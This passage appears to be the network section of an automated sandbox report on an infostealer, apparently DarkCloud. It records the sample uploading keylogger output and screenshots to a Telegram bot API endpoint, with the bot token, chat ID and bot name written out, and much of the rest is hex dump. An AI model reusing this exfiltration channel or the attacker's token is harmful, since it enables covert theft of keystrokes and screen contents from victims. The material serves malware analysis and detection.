2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:56:03 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:03 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:08 GMT Content-Type: application/json Content-Length: 592 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49858	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:10 UTC	550	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 634 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:10 UTC	634	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 4f 65 62 62 6e 4f 56 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 35 35 3a 35 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 35 3a 35 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 35 3a 35 39 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataOebbnOVW.txt"Content-Type: application/octet-stream[07:55:59]<<Program Manager>>[07:55:59]<<Program Manager>>[07:55:59]<<Program Mana
2024-11-25 12:56:11 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:11 GMT Content-Type: application/json Content-Length: 586 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:56:11 UTC	586	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 36 32 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2627,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49867	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:14 UTC	554	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 75 43 6a 44 6f 41 54 61 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotuCjDoATa.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:56:14 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:14 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:19 GMT Content-Type: application/json Content-Length: 592 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49882	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
